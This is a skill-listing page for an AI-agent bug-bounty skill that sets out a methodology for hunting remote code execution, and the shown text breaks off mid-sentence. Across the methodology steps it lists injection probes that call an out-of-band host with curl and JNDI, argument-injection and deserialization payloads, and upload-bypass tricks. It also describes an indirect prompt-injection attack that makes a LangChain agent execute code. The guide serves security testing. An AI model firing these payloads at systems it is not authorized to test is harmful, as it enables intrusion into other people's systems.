---
name: RCE Hunter
slug: rce-hunter
category: Quality
description: RCE Hunter finds remote code execution attack surfaces in web apps, OSS libraries, CI/CD, containers, and agent tools. Use it when user input may reach shells, deserializers, template engines, loaders, or git and curl commands.
github: "https://github.com/H-mmer/pentest-agents/tree/main/skills/hunt-rce"
language: Python
stars: 804
forks: 156
install: "npx degit https://github.com/H-mmer/pentest-agents/tree/main/skills/hunt-rce ~/.claude/skills/hunt-rce"
installs_to: ~/.claude/skills/hunt-rce
source_path: skills/hunt-rce/SKILL.md
collection_size: 25
category_size: 1354
collection_url: "https://dirskills.com/collections/H-mmer/pentest-agents"
added: 2026-08-22T05:22:31.146Z
last_synced: 2026-08-22T05:22:31.146Z
canonical_url: "https://dirskills.com/skills/rce-hunter"
---

# RCE Hunter

RCE Hunter finds remote code execution attack surfaces in web apps, OSS libraries, CI/CD, containers, and agent tools. Use it when user input may reach shells, deserializers, template engines, loaders, or git and curl commands.

**Install:**

```bash
npx degit https://github.com/H-mmer/pentest-agents/tree/main/skills/hunt-rce ~/.claude/skills/hunt-rce
```

## README

## Crown Jewel Targets

RCE is the highest-paying class in bug bounty, and the 24-month meta has shifted decisively toward five asset types. All CVEs below are verified against NVD.

**1. Modern JS framework deserialization (CVSS 10.0).** React Server Components / React Server Functions / Next.js App Router. **CVE-2025-55182** (CVSS 10.0, Meta Bug Bounty, Vercel WAF-bypass program on H1, exploited in the wild within 24 hours of disclosure) is the defining 2025-2026 RCE. Every Next.js >=14.3.0-canary.77 / >=15.x / >=16.x deployment running unpatched RSC is a one-request RCE target. Vercel maintains a *separate* H1 program paying low five-figure bounties for WAF bypasses against this CVE. Hunt this *first* on any modern JS stack.

**2. CI/CD runners and GitOps controllers.** GitHub Actions `pull_request_target` script injection, GitLab CI runner takeover, Jenkins script console, Tekton/ArgoCD/Flux git resolvers. **CVE-2026-40938** (Tekton git resolver `--upload-pack` argument injection — CVSS 9.4, NVD-verified, fix in v1.11.1) and **CVE-2026-24685** (OpenProject git argument injection in repository diff endpoint, CVSS 9.4) define the 2026 GitOps meta. CI compromise = supply-chain compromise; bounties scale accordingly. GitHub Security Lab pays for these directly; downstream programs (Cilium, ArgoCD, Tekton are all CNCF graduates) often have parallel bounty programs.

**3. Container runtimes and admission controllers.** **CVE-2024-21626** (runc "Leaky Vessels" — CISA KEV, CVSS 8.6, Snyk Labs disclosure) gives you full host RCE from any pod with `runc exec`. **CVE-2024-23653** (BuildKit GRPC SecurityMode missing privilege check) breaks out at build time. **CVE-2024-0132** (NVIDIA Container Toolkit TOCTOU, Wiz Research) covers the GPU-rich infrastructure stack. **CVE-2025-1974** (ingress-nginx admission controller RCE, CVSS 9.8) — any pod-network attacker reads cluster-wide Secrets. Hunt these on every Kubernetes target where you can deploy a pod.

**4. ML serving / inference platforms.** **CVE-2025-27520** (BentoML `deserialize_value()` unsafe pickle on `/summarize`, CVSS 9.8 critical, c2an1 disclosure via Snyk) and **CVE-2025-32375** (BentoML runner server, GHSA-7v4r-c989-xh26) demonstrate the universal pattern — model registries deserialize pickled tensors and trust the format. **CVE-2024-2912** (BentoML earlier pickle, Toreon disclosure). **CVE-2024-1560/1483/1594** (MLflow path traversal family, all via Huntr) reach arbitrary file read/write on the model server. Hunt model registry endpoints, inference servers, and `Content-Type: application/vnd.*+pickle` accepting handlers.

**5. Agentic LLM tool-use.** **CVE-2025-68613** (LangChain `langchain-experimental` PythonREPLTool / PandasDataFrameAgent — CVSS 9.8 critical, "Semantic RCE") is the new attack class. Indirect prompt injection in CSV/text/RAG context coerces the agent into writing exec()-able Python. Same pattern hits LlamaIndex code interpreter, MCP servers with shell tools, Ollama plugins. The agent is the gadget chain.

**6. Internet Bug Bounty / OSS supply chain.** `nodejs`, `curl`, `git`, `python`, `php`, `rails`, `marked`, `phpoffice/phpspreadsheet`, `GitPython`, `coredns`, `jackson-databind`, `log4j`, `snakeyaml`. A single bug here cascades downstream into thousands of apps. The 2026 corpus shows curl alone with multiple critical/high RCEs (`--engine` arbitrary library load via H1 disclosed report, short-flag grouping argument injection, SFTP QUOTE path traversal, libcurl cookie buffer overflow). Bounties scale with downstream blast radius.

**7. Government & enterprise asset surfaces (deptofdefense pattern).** Old log4j, Confluence (CVE-2023-22527 OGNL injection at `/template/aui/text-inline.vm`), Liferay (CVE-2020-7961), Pentaho with default creds, Cisco IOS XE, GlobalProtect (still paying via H1 disclosed 2025-2026) — all *still paying* on intranets and forgotten subdomains. Old CVEs against old assets is a paying strategy. Apache Tomcat **CVE-2024-50379** (write-enabled default servlet RCE via JSP race condition, CVSS 9.8) joined the rotation in 2024-2025.

**Admin panels with file/asset upload.** Anywhere ops staff upload images, configs, themes, packages. Screenshot URLs piped to shell, ZIP extraction without extension filter, theme installer running `unzip` then serving the public dir. Grav SSTI/direct-install (multiple Snyk advisories), WPML Twig SSTI (Patchstack disclosure).

**OAuth/SSO auth surfaces in OSS apps** — SAML signature validation that returns errors instead of throwing (Admidio H1 disclosed), TSIG bypass on gRPC/QUIC (CoreDNS GHSA), null-password fallback in OIDC (Note Mark GHSA). Not RCE alone, but the way INTO admin where RCE lives. Always-paired hunting target.

**File processors / parsers** — XLSX, XML, image (ExifTool), PDF, font parsers, archive extractors, anything that takes a file and runs code based on its content. Modern incidents hit phpspreadsheet, marked, ExifTool stdin injection, WinRAR (CVE-2025-8088 NTFS ADS path traversal, ESET disclosure).

**What pays the most:** pre-auth, no user interaction, single request. A single `curl http://target/?x=$(payload)` returning a reverse shell is a low-to-mid five-figure bug depending on program. CVE-2025-55182 (React2Shell) paid up to mid five-figure tier publicly via Vercel's dedicated H1 WAF-bypass program. Post-auth/admin RCE is mid-tier (low four to low five-figure). Argument-injection-on-internal-asset is mid-tier. Cluster takeover via GitOps controller is top-tier (high four-figure to mid five-figure on CNCF programs).

## Attack Surface Signals

Greppable signals that this surface might exist:

```bash
# Java deserialization sinks
rg -n "ObjectInputStream|readObject\(|XStream\.fromXML|Jackson.*enableDefaultTyping|SnakeYaml\(\)|new Yaml\(\)\.load\(|HessianInput|Kryo\(\)" \
   --type java

# Python pickle / yaml.load sinks
rg -n "pickle\.loads?\(|yaml\.load\(|marshal\.loads\(|cPickle|jsonpickle\.decode" --type py

# PHP unserialize / phar
rg -n "\bunserialize\(|file_exists.*phar://|fopen.*phar://|file_get_contents.*phar://" --type php

# .NET deserialization
rg -n "BinaryFormatter|LosFormatter|ObjectStateFormatter|JavaScriptSerializer.*Deserialize|XmlSerializer.*Deserialize" \
   --type cs

# Ruby YAML.load / Marshal.load (not safe_load)
rg -n "YAML\.load\(|YAML\.unsafe_load|Marshal\.(load|restore)" --type rb

# Node.js prototype pollution sinks (gadget reachability)
rg -n '_\.merge\(|_\.mergeWith\(|_\.defaultsDeep\(|Object\.assign\(\{\},' --type js

# Template injection sinks (SSTI)
rg -n "render_template_string|Jinja2.*from_string|Twig.*createTemplate|new Velocity|FreeMarker.*Template|new Handlebars\.SafeString|Pebble" \
   -g '!*test*'

# Shell execution from user input
rg -n "subprocess\.call\([^)]*shell=True|subprocess\.run\([^)]*shell=True|os\.system\(|exec\(|eval\(|popen\(|child_process\.exec\(" \
   --type py --type js --type rb --type php

# Argument injection — flags reaching CLIs
rg -n 'subprocess.*\["(curl|git|ssh|tar|exiftool|imagemagick|ffmpeg|wget|rsync|scp)"' \
   --type py --type js --type rb

# React Server Components / Next.js Flight (CVE-2025-55182 candidates)
rg -n "react-server-dom-(webpack|parcel|turbopack)" -g 'package*.json'

# Pickle accepting Content-Type (BentoML / ML serving family)
rg -n 'application/vnd\..*\+pickle|application/x-python-pickle|pickle\.loads\(.*request' --type py

# Agentic LLM exec sinks (CVE-2025-68613 family)
rg -n 'PythonREPLTool|PythonAstREPLTool|PandasDataFrameAgent|create_pandas_dataframe_agent|sympy\.sympify|VectorSQLDatabaseChain' --type py
```

HTTP-level signals on a live target:

- `Server: Apache Coyote`, `X-Powered-By: JSF/2`, `?vid=`, viewstate/JSF endpoints → **deserialization candidate**
- `X-Generator: Liferay`, `/c/portal/json_service`, `/api/jsonws/` → **Liferay (CVE-2020-7961)**
- `X-Confluence-Request-Time` header, `/exception.jsp` exposed, `/template/aui/text-inline.vm` reachable → **Confluence (CVE-2023-22527 OGNL injection)**
- `Set-Cookie: .ASPXAUTH=`, `__VIEWSTATE` in body → **.NET deserialization**
- `User-Agent: ${jndi:...}` reflected anywhere in logs/admin UI → **log4j (CVE-2021-44228) candidate**
- `ext-js`, Sitecore footprint, `/sitecore/admin/` → **Sitecore deserialization (CVE-2025-27218, H1 disclosed)**
- `Powered by DotNetNuke`, `.aspx` w/ DNN cookies → **DNN cookie deserialization (CVE-2017-9822, H1 disclosed 2024 against MTN)**
- `Content-Type: application/octet-stream` upload responses + theme/plugin endpoints → **upload chain**
- 500 errors that leak `freemarker.core.InvalidReferenceException`, `Twig\Error`, `jinja2.exceptions.UndefinedError` → **SSTI confirmed**
- `next/static/`, `_next/data/`, `__nextjs`, `X-Powered-By: Next.js`, plus `Server-Action` request headers → **CVE-2025-55182 candidate** — pivot to Server Function endpoint discovery
- `X-Php-Cgi`, `cgi-bin/php-cgi.exe`, `.php?` on Windows hosts in CN/JP/TW locales → **CVE-2024-4577 PHP-CGI argument injection (Best-Fit encoding)**
- `Server: Apache/2.4.5x` plus `mod_proxy` headers → **Apache Confusion Attacks (CVE-2024-38472/38476/38477/39573, Orange Tsai BHUSA 2024)**
- `Server: Apache-Coyote/1.1` + Tomcat default servlet error pages + 9.0.x version → **CVE-2024-50379 default-servlet write-RCE** (NVD-verified critical)
- `Vercel Platform: ` response header (without correct version pinning) → **CVE-2025-55182 + Vercel WAF-bypass H1 program**
- `Content-Type: application/vnd.bentoml+pickle` accepted on `/summarize` or model-inference endpoints → **CVE-2025-27520 BentoML unsafe pickle**
- `X-LangChain-Agent` / `X-LangServe-` headers, or `/invoke` / `/agent` endpoints with CSV/text upload → **CVE-2025-68613 LangChain REPL semantic RCE**
- `kubernetes.io/ingress.class: nginx` + admission webhook reachable from pod network → **CVE-2025-1974 ingress-nginx**

`docker pull <image> && trivy image <image>` and `nuclei -t cves/` against fingerprinted versions remains the highest-throughput high-paying technique on enterprise/DoD assets.

## Insertion Point Taxonomy

Every place attacker-controlled data flows for RCE. Use as a checklist on each target:

- **URL path / query / fragment** → SSTI (`/page?name={{7*7}}`), command injection (`/api/ping?host=`), PHP-CGI argument injection (`/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1`).
- **Headers** — `User-Agent`, `Referer`, `X-Forwarded-For`, `Authorization`, custom `X-Tenant-ID`. Log4j JNDI lives here. CRLF in `httplib.HTTPConnection` (Orange Tsai's GitHub Enterprise chain). Server Function action headers in React. BentoML `Payload-Container`/`Payload-Meta` headers carry pickle (CVE-2025-32375 GHSA-7v4r-c989-xh26).
- **Body** — JSON (deserialization metadata: `__type`, `$type`, `class`, `_class`), form fields, multipart, XML (XXE → file read → secret → RCE), GraphQL variables, RSC Flight payloads, raw pickle bytes on `application/vnd.*+pickle`.
- **Cookies** — Java/Ruby session marshalled object (rO0A magic for Java b64), `__VIEWSTATE`, JWT alg=none then JWT-claim SSTI, custom session tokens that base64-decode to serialized objects.
- **File contents** — filename (path traversal → arbitrary write → RCE), ZIP entries (theme installer, package manager), EXIF/XMP/IPTC metadata (ExifTool ImageMagick), color profile, font tables, CSV cells (`=cmd|"/c calc"!A1` for spreadsheet apps; CSV cells fed to LangChain `PandasDataFrameAgent` for CVE-2025-68613), YAML uploads (`!!python/object/apply:os.system`), SVG (XSS → admin → RCE), Markdown (SSTI in render pipeline), pickled tensors (BentoML).
- **WebSocket frames** — RCE via JSON deserialization in WS message handlers, often missed by HTTP-only WAF.
- **Background/async paths** — job queues, webhooks retry, cron-triggered processing, email-to-ticket parsers, scheduled report generators that interpolate user names into shell.
- **Indirect (stored)** — DB-stored content rendered later, file written then served, prompt context for LLMs (LLM tool use → shell exec gadget — exact CVE-2025-68613 vector via RAG), git commit messages echoed by CI, branch names interpolated into `run:` blocks of GitHub Actions.
- **CLI/IPC parameters** — Kubernetes ResolutionRequest objects (Tekton CVE-2026-40938 NVD-verified), Argo CMP plugin env vars, kubectl exec annotations, container labels.
- **Container build context** — Dockerfile `WORKDIR` symlink to `/proc/self/fd/7/` (CVE-2024-21626 Leaky Vessels), `# syntax=` line referencing untrusted frontend image (CVE-2024-23653 BuildKit), CDI device specs (CVE-2024-0132 NVIDIA Container Toolkit TOCTOU).
- **Protocol smuggling** — Gopher protocol via SSRF (`gopher://target:6379/_FLUSHALL%0d%0a...`), CRLF into Memcached/Redis (Orange Tsai GitHub Enterprise pattern, also H1 2025 disclosed Gopher CRLF report).

For each surface, send `${7*7}`, `{{7*7}}`, `<%=7*7%>`, `${jndi:dns://x.oast.fun/}`, `;curl http://x.oast.fun/`, and a Java deser magic byte (`rO0AB...`) probe. Watch for both reflected math results AND OOB DNS hits.

## Step-by-Step Hunting Methodology

1. **Fingerprint stack first.** Hit `/`, the login page, `/.well-known/`, `/robots.txt`, an error path. Record `Server`, `X-Powered-By`, generator meta, JS framework version (`React.version`, `__NEXT_DATA__`, Vue devtools probe), error templates, cookie names, response timing. RCE hunting without stack knowledge is throwing payloads at walls. **If Next.js >=14.3.0-canary.77 or unpatched 15.x/16.x → start with CVE-2025-55182.**

2. **Check CVE-2025-55182 first on any modern JS target.** The 2025-2026 meta. Probe Server Function endpoints with both `Next-Action` header (Server Actions) and direct RSC Flight POST. Confirm with arithmetic-result reflection or OOB DNS, then submit *immediately* — Vercel pays low-to-mid five-figure for WAF bypasses on patched-but-protected hosts via dedicated H1 program. Patch versions to compare against: React 19.0.1, 19.1.2, 19.2.1; Next.js 15.0.5/15.1.9/15.2.6/15.3.6/15.4.8/15.5.7/16.0.7. Anything below = vuln per NVD CVE-2025-55182 advisory.

3. **Try every known CVE that matches the stack.** This sounds dumb. It pays consistently in 2025-2026. Pull the CVE list with `nuclei -t cves/` or `nmap --script vulners`. The DoD pipeline is essentially "scan asset → match CVE → exploit". **Confluence CVE-2023-22527** (`POST /template/aui/text-inline.vm` with the OGNL `findValue` payload), **PHP-CGI CVE-2024-4577** (Windows in CN/JP/TW locale, `%AD` soft hyphen for argument injection), **Apache CVE-2024-38472/38476** (Orange Tsai Confusion Attacks), **Tomcat CVE-2024-50379** (write-enabled default servlet on case-insensitive FS), **log4j on internal portals** — all still paying.

4. **Map every place user input reaches a parser.** Profile pictures, document uploads, file imports (CSV/XLSX/JSON/XML/YAML), webhooks, SAML/OIDC redirect targets, email templates, error messages, feature-flag JSON, config-as-code editors. These are deserialization/SSTI surfaces. **If admin file upload exists, ZIP-based theme/plugin install** is a near-guaranteed webshell vector. If not → branch to step 5.

5. **Test SSTI on every reflected input.** Submit in order: `${7*7}`, `{{7*7}}`, `<%=7*7%>`, `#{7*7}`, `*{7*7}`, `${7*'7'}`. Map response: `49` → Java/Spring/Velocity/Twig/ERB. `7777777` → Jinja2 (Python). Engine confirmation → use engine-specific RCE payload from the Payload section, including the sandbox-escape alternates if the obvious gadget is filtered. **If you see `freemarker.core.*` or `jinja2.exceptions.*` in errors, you have engine-confirmed SSTI before any payload.**

6. **Test command injection by side channel.** Use OOB DNS callbacks (Burp Collaborator, interact.sh). Inject in this order: `;curl http://<id>.oast.fun/x`, `$(curl http://<id>.oast.fun/y)`, `` `wget http://<id>.oast.fun/z` ``, `|nslookup <id>.oast.fun`. No reflection needed — most modern RCE is blind. **If first 4 fail and target has any URL-fetching feature, try the Gopher SSRF→Memcached/Redis chain (Orange Tsai GitHub pattern, also re-disclosed via H1 2025 "Protocol Smuggling / CRLF Injection via Gopher" report).**

7. **Hunt file upload chains.** Upload `.html`, `.svg` (XSS-then-pivot), `.phtml`, `.phar`, `.jsp`, `.jspx`, `.aspx`, `.cer`, `.config`, `.htaccess`. Try double extensions (`shell.php.png`), null bytes (`shell.php%00.png`), Content-Type spoofing, magic-byte prefixed payloads (`GIF89a` + PHP). ZIP-based upload handlers (themes, plugins, packages) often unpack without extension filter. For WordPress, **CVE-2025-13486** (Advanced Custom Fields Extended `call_user_func_array`) is the recent unauthenticated payable CVE. For Tomcat, drop a `.jsp` via PUT against the write-enabled default servlet (CVE-2024-50379).

8. **Look for argument injection in shelled-out CLIs.** Search reflection where input goes to `git`, `curl`, `tar`, `ssh`, `exiftool`, `imagemagick`, `ffmpeg`, `rsync`. Test `--engine /tmp/evil.so` (curl, H1 2025 disclosed critical against curl), `--upload-pack=` (git, CVE-2025-21613 go-git, CVE-2026-40938 Tekton NVD-verified, CVE-2026-24685 OpenProject NVD-verified), `--checkpoint-action` (tar), short-flag grouping (curl 2026 H1 critical "Argument Injection via curl Short-Flag Grouping"). **Anywhere user input is the *first* positional argument to a CLI without `--` sentinel, test argument injection.**

9. **Read the source if available.** OSS apps and GHSA repos have public commits. `git log --all --grep="security"`, `git log -p -S "exec(" -- src/`, `git log -p -S "readObject" -- src/`. Look for recently added input handling without recently added validation. Apply the semgrep + ast-grep + ripgrep + CodeQL rules from the Source Review section. **Finding a recent fix commit and re-reading the file at HEAD~1 gives you the bug for free** — the patch shows you exactly which input wasn't validated. Run `gh pr list --search "RCE" --state closed` and read those.

10. **Hunt CI/CD and GitOps surface.** For any GitHub-hosted target, audit `.github/workflows/*.y*ml` for `pull_request_target` + `${{ github.event.pull_request.* }}` interpolation in `run:` (script injection — see Cilium GHSL-2024-274, Ceph GHSA-p433-fp4g-pc2c, ansible.platform GHSA-fwqj-x86q-prmq). For self-hosted Kubernetes targets, look for ArgoCD/Flux/Tekton/Argo Workflows in scope. Check for `pull_request_target` + `actions/checkout` with `pull_request.head.sha` (RCE on runner with secrets). For GitLab, audit `.gitlab-ci.yml` for runner registration token leak and `CI_JOB_TOKEN` scope abuse. For Jenkins, check `/script` endpoint exposure, agent JNLP secret leak, build parameter injection, CVE-2024-23897 line-too-long Args4j read primitive. For ArgoCD/Tekton, **CVE-2026-40938** is the canonical 2026 hunt — submit ResolutionRequest YAML with `revision: --upload-pack=/usr/bin/curl`.

11. **Hunt container runtime and admission controller surface.** For any pod-network reachable target, test ingress-nginx admission webhook for **CVE-2025-1974** (NVD-verified critical, CVSS 9.8, reads cluster Secrets). For container builds, attempt **CVE-2024-21626** Leaky Vessels (`WORKDIR` to `/proc/self/fd/7/`) on multi-tenant build infrastructure or PR-triggered image builds. For NVIDIA-equipped GPU clusters, attempt **CVE-2024-0132** TOCTOU on container-toolkit < 1.16.2.

12. **Hunt ML serving / agentic LLM surface.** Probe model-inference endpoints with `Content-Type: application/vnd.bentoml+pickle` carrying a `__reduce__` pickle gadget (**CVE-2025-27520**, Snyk PoC by c2an1). For LangChain/LlamaIndex agents, upload CSV/markdown/text containing indirect prompt injection that names the `PythonREPLTool` and asks it to `exec()` arbitrary code (**CVE-2025-68613**). For MLflow, probe `artifact_location` with `#`-fragment URI for path traversal (**CVE-2024-1483/1560/1594** family, all Huntr-disclosed).

13. **Chain low-impact bugs.** Single bugs are duplicates. Top-tier hunters live in chains. **SSRF → cloud metadata (169.254.169.254) → IAM creds → AssumeRole → Lambda code edit → RCE**. **XSS in admin → CSRF post to `/admin/upload` → websh